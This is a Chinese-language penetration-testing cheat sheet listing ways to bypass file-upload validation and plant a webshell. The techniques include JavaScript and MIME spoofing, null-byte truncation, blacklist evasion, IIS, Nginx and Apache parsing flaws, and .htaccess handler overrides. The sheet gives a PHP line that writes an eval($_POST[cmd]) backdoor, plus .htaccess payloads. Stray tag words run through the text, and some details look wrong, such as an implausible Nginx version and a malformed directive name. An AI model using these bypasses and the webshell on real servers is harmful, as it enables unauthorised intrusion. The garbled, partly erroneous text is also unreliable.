滲透中 常見上傳突破總彙

1,檢測javascript類型的繞過(客戶端)

一般post請求發送到web服務器,客戶端javascript驗證
上傳1.php彈窗說上傳格式錯誤,只容許.jpg,.jpeg等格式的文件
上傳一句話1.php–>1.jpg 而後burp抓包1.jpg–>1.php,這樣就繞過了js檢測
或者F12查看源代碼,找到onsubmit=」return checkFile()」,將它刪除並編輯保存。
這個時候頁面就不檢測了,直接上傳成功,
或者修改容許的函數checkfile(),添加咱們想上傳的文件格式,也是能夠上傳成功的。
javascript

2,檢測MIME類型的繞過(服務端)

服務端MIME類型檢測(檢測Content-Type內容),burp抓包,修改Content-Type
Content-Type:text/plain –>php
Content-Type:image/jpeg –>image
上傳1.jpg—>修改image/jpeg爲text/plain,成功繞過。
php

常見的MIME類型:
超文本標記語言文本 .html text/html
xml文檔 .xml text/xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文檔 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG圖像 .png image/png
GIF圖形 .gif image/gif
JPEG圖形 .jpeg,.jpg image/jpeg
au聲音文件 .au audio/basic
MIDI音樂文件 mid,.midi audio/midi,audio/x-midi
RealAudio音樂文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
任意的二進制數據 application/octet-stream
html

3,檢測目錄路徑類型的繞過(服務端)

上傳1.jpg,burp進行抓包,Content-Disposition:from-data;name=」path」後面一行upload是咱們保存的地址。
如今咱們將upload改成upload/1.php(空格) ,接着咱們來到 Proxy->intercept->Hex找到1.php(空格)這個被修改過的代碼,找到同一行的數字20,改成00 ,成功繞過
java

其實跟%00截斷原理相似web

4,檢測文件內容的繞過(服務端)shell

檢測內容是否合法或含有惡意代碼
文件幻數檢測
jpg–>JFIF
gif–>GIF89A
PNG–>PNG
文件相關信息檢測
經常使用的是getimaegsize()函數檢測
有文件頭,加一些雜亂的東西,迷惑,空的地方添加木馬
文件加載檢測
API函數檢測的
一次渲染能夠繞過,二次渲染就沒戲繞過。
apache

5,檢測黑名單類型的繞過(服務端)服務器

將危險的後綴名寫到一個文件裏面,禁止指着後綴名的文件執行
文件名繞過:
大小寫組合繞過pHp,PhP,混搭繞過php1,php2,php3,php4,php5
列表名繞過:
cer,ashx,asa,cer,cdx,htr,繞過(黑名單可能會漏掉的)
特殊字符繞過:
a.asp改爲a.asp_
0x00截斷繞過:
上傳1.php.jpg burp抓包改爲1.php%00.jpg,或者hex–>20改爲00當解析的時候,看到空格,後面的那段就不解析了
或者upload/1.asp(空格)/上傳,hex修改20–>00繞過上傳
apache解析繞過:
help.asp.134.×2,從前向後嘗試解析,直到遇到本身認識的擴展名爲止。
雙擴展名解析繞過:
apache的conf配置有AddHandler php5-script.php沒有註釋掉,
則,文件名1.php.jpg就能看成php執行
.htaccess文件攻擊:
自定義.htaccess上傳,下面是內容
<FileMatch 「aaa」>
SetHandler application/x-httpd-php
</FileMatch>
同目錄下,上傳一個aaa文件,沒有擴展名,內容是一句話,這個時候就成功繞過。
app

6,檢測白名單類型的繞過(服務端)
ide

解析漏洞繞過

iis6.0解析繞過:
目錄繞過:
IIS6.0目錄路徑檢測解析,文件的名字爲「*.asp/xxx.jpg」一樣唄解析成asp
burp進行抓包,其中Content-Disposition:form-data;name=」path」咱們把本來的 upload/ 改成 uploading/1.asp/,filename=」yijuhua.asp」修改成filename=」yijuhua.asp/1.jpg」。
或者建立文件夾a.php裏面放一句話圖片1.jpg  a.php/1.jpg—>php執行
文件繞過:
首先咱們請求 /aaa.php;xxx.jpg,從頭部查找查找 「.」號,得到 .php;xxx.jpg
查找」;」,若是有則內容截斷,因此/aaa.php;xxx.jpg會當作/aaa.php進行解析,除此以外咱們還有下面的構造方式繞過:a.php;.jpg,a.php;jpg–>php執行

iis7.0/7.5解析繞過:
在默認Fast-CGI開啓的狀況下上傳一個文件1.jpg
內容:<?php fputs(fopen(‘shell.php’,’w’),'<?php eval($_POST[cmd])?>’);?>
而後訪問1.jpg/.php 這樣就會在同級目錄下生成木馬shell.php

Nginx<8.0.3解析繞過:
上傳1.jpg—-burp修改–>1.jpg%00.php空字節繞過上傳

apache解析繞過:
a.php.x1.x2 apache從前向後嘗試解析,直到遇到本身認識的擴展名爲止。

.htaccess文件攻擊:自定義.htaccess繞過
<FileMatch 「aaa」>
SetHandler application/x-httpd-php
</FileMatch>
同目錄下,上傳一個aaa文件,沒有擴展名,而後內容是「aaa」+一句話,成功繞過。

7,自動修改後綴的繞過:

上傳php,服務端自動修改爲了gif
burp抓包,1.php–>修改爲1.pphphp成功繞過

8.雙文件上傳突破
本身加上的,這個方式是在某大牛的文章裏看到的,不知道原理是什麼,可是常常會用到
我的理解是兩個上傳口分別上傳文件,服務器只過濾一個
我比較喜歡經過改html把上傳的模塊copy一份,這樣就會出現兩個上傳點~
相關文章
相關標籤/搜索